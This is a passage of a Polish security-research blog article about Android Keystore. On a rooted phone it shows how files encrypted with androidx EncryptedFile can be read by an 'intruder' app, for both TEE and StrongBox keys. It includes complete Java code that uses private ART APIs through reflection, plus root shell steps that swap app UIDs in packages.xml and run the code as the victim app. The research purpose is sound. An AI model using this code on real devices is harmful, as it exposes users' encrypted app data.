	<package name="pl.isec.baseapp.ksdefault" codePath="/data/app/~~-0b8RWPkUXQsqp_sn793Ig==/pl.isec.baseapp.ksdefault-ooM7d84_pQ-dEZXVsMLLoQ==" nativeLibraryPath="/data/app/~~-0b8RWPkUXQsqp_sn793Ig==/pl.isec.baseapp.ksdefault-ooM7d84_pQ-dEZXVsMLLoQ==/lib" publicFlags="0" privateFlags="0" ft="1849203e680" ut="1849203e773" version="1" userId="10233" packageSource="0" loadingProgress="1.0" domainSetId="2e794746-ed61-4676-8d24-5555f4ccadde">

Następnie, wgrywamy zaktualizowany plik:

sunfish:/data/system # xml2abx /data/local/tmp/packages.xml packages.xml

Zmiany UID stosujemy również dla katalogów aplikacji:

sunfish:/data/data # chown -R 10232:10232 pl.isec.robber.securefileimpl
sunfish:/data/data # chown -R 10233:10233 pl.isec.baseapp.ksdefault

Restartujemy Android Runtime:

sunfish:/data/data # stop
sunfish:/data/data # start

Uruchamiamy graficzną aplikację intruza:

Mamy sukces! :)

Konsolowa aplikacja intruza

Konsolową aplikację również zbudujemy w Android Studio.

  • Android Studio -> New Project -> No Activity
  • Language: Java
  • Minimum SDK: API 31: Android 12.0 (S)

W kodzie odczytującym plik znajdą się dwie duże zmiany względem graficznej wersji, co spowodowane jest brakiem kontekstu aplikacji, gdyż konsolowa aplikacja nie będzie ani zainstalowana, ani uruchomiona jak klasyczna aplikacja.

Zmiana 1: Użyjemy bezpośrednio aliasu _androidx_security_master_key_, który jest domyślnym aliasem dla specyfikacji MasterKeys.AES_256_GCM, przekazywanej do funkcji MasterKeys.getOrCreate(...)

https://androidx.tech/artifacts/security/security-crypto/1.0.0-source/androidx/security/crypto/MasterKeys.java.html

public final class MasterKeys {
	private MasterKeys() {
	}

	private static final int KEY_SIZE = 256;

	private static final String ANDROID_KEYSTORE = "AndroidKeyStore";
	static final String KEYSTORE_PATH_URI = "android-keystore://";
	static final String MASTER_KEY_ALIAS = "_androidx_security_master_key_";

      @NonNull
      public static final KeyGenParameterSpec AES256_GCM_SPEC =
            createAES256GCMKeyGenParameterSpec(MASTER_KEY_ALIAS);

Zmiana 2: Wykorzystamy prywatne API Android Runtime do zbudowania kontekstu aplikacji, który wymagany jest przez EncryptedFile.

Tu nasuwa się pytanie, czym jest "prywatne API Android Runtime"?

Środowisko ART zbudowane jest z wielu bibliotek, klas i metod, jednak niektóre z nich zostały ukryte przed deweloperami aplikacji mobilnych.
Oficjalna dokumentacja opisuje tylko udostępniony zbiór.[https://developer.android.com/reference/packages]

Android Studio stosuje się do określonych restrykcji, nie podpowiada i nie rozpoznaje ukrytych klas, metod oraz pól.
Mimo to, nadal możemy korzystać z tych funkcji używając mechanizmu refleksji.

Do zbudowania kontekstu, wykorzystamy metody:

  • LoadedApk#makeApplication(...) - do utworzenia kontekstu załadowanej aplikacji
  • ActivityThread#getPackageInfo(...) - do załadowania bazowej aplikacji
  • ActivityThread#systemMain() - do zainicjowania procesu pod aplikację systemową (łatwiej zainicjować pod systemową niż zwykłą)
  • Looper#prepareMainLooper() - do przygotowania głównej pętli (ActivityThread tego wymaga)

https://developer.android.com/reference/android/os/Looper#prepareMainLooper()

https://android.googlesource.com/platform/frameworks/base/+/refs/tags/android-13.0.0_r69/core/java/android/app/ActivityThread.java

https://android.googlesource.com/platform/frameworks/base/+/refs/tags/android-13.0.0_r69/core/java/android/app/LoadedApk.java

A ponadto:

  • CompatibilityInfo - jako klasę pomocniczą i jeden z wymaganych parametrów
  • AndroidKeyStoreProvider.install() - do zainicjowania Android Keystore dla naszego procesu

https://android.googlesource.com/platform/frameworks/base/+/refs/tags/android-13.0.0_r69/core/java/android/content/res/CompatibilityInfo.java

https://android.googlesource.com/platform/frameworks/base/+/refs/tags/android-13.0.0_r69/keystore/java/android/security/keystore2/AndroidKeyStoreProvider.java

Nazwa pakietu: pl.isec.robber.console.securefileimpl

Run.java

package pl.isec.robber.console.securefileimpl;

import android.annotation.SuppressLint;
import android.app.Application;
import android.app.Instrumentation;
import android.content.Context;
import android.content.pm.ApplicationInfo;
import android.os.Looper;
import androidx.security.crypto.EncryptedFile;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class Run {
   private final static String MASTER_KEY_ALIAS = "_androidx_security_master_key_";

   public static void main(String args[]){
       if(args.length != 2){
           System.err.println("Usage:\n\tpl.isec.robber.console.securefileimpl.Run <packageName> <encryptedFileName>");
           System.exit(1);
       }
       String packageName = args[0];
       String fileName = args[1];

       try {
           /** Initialize Android Keystore and application context **/
           initAndroidKeystore();
           Context context = initAppContext(packageName);

           /** Read EncryptedFile **/
           InputStream inputStream = new EncryptedFile.Builder(
               new File(context.getFilesDir(), fileName),
               context,
               MASTER_KEY_ALIAS,
               EncryptedFile.FileEncryptionScheme.AES256_GCM_HKDF_4KB
           ).build().openFileInput();

           ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
           int nextByte = inputStream.read();
           while (nextByte != -1) {
               byteArrayOutputStream.write(nextByte);
               nextByte = inputStream.read();
           }

           /** Print decrypted message **/
           System.out.println(
               byteArrayOutputStream.toString("UTF-8")
           );
       } catch(Exception e){
           e.printStackTrace();
       }
   }

   @SuppressLint({"BlockedPrivateApi"})
   private static void initAndroidKeystore() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
       /** static AndroidKeyStoreProvider.install() **/
       Class cAndroidKeyStoreProvider = Class.forName("android.security.keystore2.AndroidKeyStoreProvider");
       Method install = cAndroidKeyStoreProvider.getDeclaredMethod("install");
       install.invoke(cAndroidKeyStoreProvider);
   }

   private static Context initAppContext(String packageName) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
       /** Required for ActivityThread **/
       Looper.prepareMainLooper();

       /** static ActivityThread.systemMain() **/
       Class cActivityThread = Class.forName("android.app.ActivityThread");
       Method systemMain = cActivityThread.getDeclaredMethod("systemMain");
       Object activityThread = systemMain.invoke(cActivityThread);

       /** virtual activityThread.getPackageInfo(...) **/
       Class cCompatibilityInfo = Class.forName("android.content.res.CompatibilityInfo");
       Constructor compatibilityInfoConstructor = cCompatibilityInfo.getConstructor(ApplicationInfo.class, int.class, int.class, boolean.class);
       Object compatibilityInfo = compatibilityInfoConstructor.newInstance(new ApplicationInfo(), 0x02, 200, true);

       Method getPackageInfo = cActivityThread.getDeclaredMethod("getPackageInfo", String.class, cCompatibilityInfo, int.class);
       Object loadedApk = getPackageInfo.invoke(activityThread, packageName, compatibilityInfo, 0);

       /** virtual loadedApk.makeApplication(...) **/
       Class cLoadedApk = Class.forName("android.app.LoadedApk");
       Method makeApplication = cLoadedApk.getDeclaredMethod("makeApplication", boolean.class, Instrumentation.class);
       Application application = (Application) makeApplication.invoke(loadedApk,true, null);

       return application.getApplicationContext();
   }
}

build.gradle

[...]

dependencies {
   implementation 'androidx.security:security-crypto:1.0.0'
[...]

Przed uruchomieniem aplikacji, cofamy zmiany wprowadzone przy teście z graficzną aplikacją intruza:

sunfish:/data/system # cp -af packages.bak packages.xml
sunfish:/data/data # cd ../data
sunfish:/data/data # chown -R 10232:10232 pl.isec.baseapp.ksdefault
sunfish:/data/data # chown -R 10233:10233 pl.isec.robber.securefileimpl
sunfish:/data/data # stop
sunfish:/data/data # start

Wysyłamy na urządzenie wygenerowany plik apk:

$ adb push ~/AndroidStudioProjects/KsRobberConsoleSecureFileImpl/app/release/app-release.apk /data/local/tmp/robber.apk

Zmieniamy użytkownika na UID bazowej aplikacji:

sunfish:/ # pm list packages -U pl.isec.baseapp.ksdefault
package:pl.isec.baseapp.ksdefault uid:10232
sunfish:/ # su 10232

Uruchamiamy nasz kod poleceniem app_process, przekazując jako argumenty nazwę pakietu bazowej aplikacji i nazwę zaszyfrowanego pliku.
[https://android.googlesource.com/platform/frameworks/base/+/refs/tags/android-13.0.0_r69/cmds/app_process/app_main.cpp]

sunfish:/ $ app_process -cp /data/local/tmp/robber.apk /system/bin pl.isec.robber.console.securefileimpl.Run pl.isec.baseapp.ksdefault encrypted.txt
Żwirek kręci z Muchomorkiem :)
sunfish:/ $

Efekt jest więcej niż zadowalający! Znów się udało i to w całkiem dyskretny sposób :)

StrongBox

Spróbujmy zwiększyć poziom bezpieczeństwa klucza z TEE na SE (StrongBox).

Zgodnie z dokumentacją, aby wymusić bezpieczniejszy tryb, musimy odwołać się do funkcji setIsStrongBoxBacked(true)
[https://developer.android.com/reference/android/security/keystore/KeyGenParameterSpec.Builder#setIsStrongBoxBacked(boolean)]

W tej implementacji, nieznacznie zmieni się funkcja initialize() oraz pojawi się funkcja pomocnicza createAES256GCMKeyGenParameterSpec(), generująca specyfikację klucza AES-GCM na wzór funkcji z MasterKeys, z dodatkową opcją wymuszającą StrongBox.

https://androidx.tech/artifacts/security/security-crypto/1.0.0-source/androidx/security/crypto/MasterKeys.java.html

	@NonNull
	private static KeyGenParameterSpec createAES256GCMKeyGenParameterSpec(
        	@NonNull String keyAlias) {
    	KeyGenParameterSpec.Builder builder = new KeyGenParameterSpec.Builder(
            	keyAlias,
            	KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT)
            	.setBlockModes(KeyProperties.BLOCK_MODE_GCM)
            	.setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_NONE)
            	.setKeySize(KEY_SIZE);
    	return builder.build();

Nazwa pakietu: pl.isec.baseapp.strongbox

MainActivity.java

private void initialize() throws GeneralSecurityException, IOException {
   /** Get or create key **/
   String masterKeyAlias = MasterKeys.getOrCreate(
       createAES256GCMKeyGenParameterSpec()
   );

   /** Get security level **/
   KeyStore ks = KeyStore.getInstance(ANDROID_KEYSTORE);
   ks.load(null);
   SecretKey secretKey = (SecretKey) ks.getKey(masterKeyAlias, null);
   SecretKeyFactory factory = SecretKeyFactory.getInstance(secretKey.getAlgorithm(), ANDROID_KEYSTORE);
   KeyInfo keyInfo = (KeyInfo) factory.getKeySpec(secretKey, KeyInfo.class);

   switch(keyInfo.getSecurityLevel()){
       case KeyProperties.SECURITY_LEVEL_SOFTWARE:
           mSecurityLevel = "Software"; break;
       case KeyProperties.SECURITY_LEVEL_TRUSTED_ENVIRONMENT:
           mSecurityLevel = "TEE"; break;
       case KeyProperties.SECURITY_LEVEL_STRONGBOX:
           mSecurityLevel = "StrongBox"; break;
       default:
           mSecurityLevel = "Unknown";
   }

   /** Create instance of the SecureFile **/
   mSecureFile = new SecureFileImpl(
       new File(getFilesDir(), FILENAME),
       this,
       masterKeyAlias
   );
}

private static KeyGenParameterSpec createAES256GCMKeyGenParameterSpec(){
   KeyGenParameterSpec.Builder builder = new KeyGenParameterSpec.Builder(
       "_androidx_security_master_key_",
       KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT)
       .setBlockModes(KeyProperties.BLOCK_MODE_GCM)
       .setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_NONE)
       .setKeySize(256)
       .setIsStrongBoxBacked(true);

   return builder.build();
}

Plik SecureFileImpl.java pozostaje bez zmian.

Podobnie jak poprzednio, instalujemy aplikację, uruchamiamy i zapisujemy super tajną wiadomość.

$ adb install ~/AndroidStudioProjects/KsStrongBox/app/release/app-release.apk

Konsolowa aplikacja intruza

Tym razem testy zaczniemy od konsolowej aplikacji intruza.

Uruchamiamy poprzednio przygotowaną aplikację, zmieniając jedynie przekazywany argument:

$ adb shell
sunfish:/ $ su
sunfish:/ # pm list packages -U pl.isec.baseapp.strongbox
package:pl.isec.baseapp.strongbox uid:10235
sunfish:/ # su 10235
sunfish:/ $ app_process -cp /data/local/tmp/robber.apk /system/bin pl.isec.robber.console.securefileimpl.Run pl.isec.baseapp.strongbox encrypted.txt
Czy StrongBox nas obroni?
sunfish:/ $

No cóż, StrongBox nie obronił się przed odczytaniem pliku, a nasza konsolowa aplikacja wydaje się być uniwersalnym narzędziem do odczytu plików zaszyfrowanych przez EncryptedFile.

Graficzna aplikacja intruza

Dla formalności, możemy powtórzyć scenariusz z graficzna aplikacją intruza.

Pobieramy packages.xml:

sunfish:/data/system # cp -af packages.xml packages.bak
sunfish:/data/system # abx2xml packages.xml /data/local/tmp/packages.xml
$ adb pull /data/local/tmp/packages.xml packages.xml

Edytujemy userId:

Z:
	<package name="pl.isec.robber.securefileimpl" codePath="/data/app/~~FmBVRBvcNW32_EPRfxDc0w==/pl.isec.robber.securefileimpl-Cv8QZfbzlJtZrSmgLTy1VQ==" nativeLibraryPath="/data/app/~~FmBVRBvcNW32_EPRfxDc0w==/pl.isec.robber.securefileimpl-Cv8QZfbzlJtZrSmgLTy1VQ==/lib" publicFlags="0" privateFlags="0" ft="1849209e990" ut="1849209ecdb" version="1" userId="10233" packageSource="0" loadingProgress="1.0" domainSetId="4f92ab76-65b4-4465-8a5d-d1b594a71083">

Na:
	<package name="pl.isec.robber.securefileimpl" codePath="/data/app/~~FmBVRBvcNW32_EPRfxDc0w==/pl.isec.robber.securefileimpl-Cv8QZfbzlJtZrSmgLTy1VQ==" nativeLibraryPath="/data/app/~~FmBVRBvcNW32_EPRfxDc0w==/pl.isec.robber.securefileimpl-Cv8QZfbzlJtZrSmgLTy1VQ==/lib" publicFlags="0" privateFlags="0" ft="1849209e990" ut="1849209ecdb" version="1" userId="10235" packageSource="0" loadingProgress="1.0" domainSetId="4f92ab76-65b4-4465-8a5d-d1b594a71083">
Z:
   <package name="pl.isec.baseapp.strongbox" codePath="/data/app/~~yJpGKcaOyLitt3r-I5YZ9Q==/pl.isec.baseapp.strongbox-wqAvbuedamyzxhTrrunoBg==" nativeLibraryPath="/data/app/~~yJpGKcaOyLitt3r-I5YZ9Q==/pl.isec.baseapp.strongbox-wqAvbuedamyzxhTrrunoBg==/lib" publicFlags="0" privateFlags="0" ft="1849a9801a0" ut="1849a980247" version="1" userId="10235" packageSource="0" loadingProgress="1.0" domainSetId="e6d63203-45c7-4320-a6c9-691b1569a341">

Na:
   <package name="pl.isec.baseapp.strongbox" codePath="/data/app/~~yJpGKcaOyLitt3r-I5YZ9Q==/pl.isec.baseapp.strongbox-wqAvbuedamyzxhTrrunoBg==" nativeLibraryPath="/data/app/~~yJpGKcaOyLitt3r-I5YZ9Q==/pl.isec.baseapp.strongbox-wqAvbuedamyzxhTrrunoBg==/lib" publicFlags="0" privateFlags="0" ft="1849a9801a0" ut="1849a980247" version="1" userId="10233" packageSource="0" loadingProgress="1.0" domainSetId="e6d63203-45c7-4320-a6c9-691b1569a341">

Aktualizujemy:

$ adb push packages.xml /data/local/tmp/packages.xml
sunfish:/data/system # xml2abx /data/local/tmp/packages.xml packages.xml

Kopiujemy pliki i zmieniamy uprawnienia:

sunfish:/data/data # cp -f pl.isec.baseapp.strongbox/files/encrypted.txt pl.isec.robber.securefileimpl/files/encrypted.txt
sunfish:/data/data # cp -f pl.isec.baseapp.strongbox/shared_prefs/__androidx_security_crypto_encrypted_file_pref__.xml pl.isec.robber.securefileimpl/shared_prefs/__androidx_security_crypto_encrypted_file_pref__.xml
sunfish:/data/data # chown -R 10235:10235 pl.isec.robber.securefileimpl
sunfish:/data/data # chown -R 10233:10233 pl.isec.baseapp.strongbox

Restartujemy ART:

sunfish:/data/data # stop
sunfish:/data/data # start

Uruchamiamy aplikację intruza:

I oto spodziewany sukces :)

Wnioski

Wykazaliśmy, że sprzętowe rozwiązania Android Keystore nie gwarantują poufności danych na skompromitowanym urządzeniu, nawet jeśli TEE i StrongBox dobrze spełniają swoje funkcje.
Deweloperzy systemu Android są świadomi tych "słabości" i wprowadzili rozwiązanie, które może pomóc w ochronie danych nawet na skompromitowanym urządzeniu.
O jego skuteczności i konsekwencjach, które pociąga za sobą, dowiemy się z kolejnego artykułu :)

Sekcja linków

Bazowa aplikacja

Domyślna konfiguracja (TEE)

StrongBox

Graficzna aplikacja intruza

Konsolowa aplikacja intruza

Great! You've successfully subscribed.
Great! Next, complete checkout for full access.
Welcome back! You've successfully signed in.
Success! Your account is fully activated, you now have access to all content.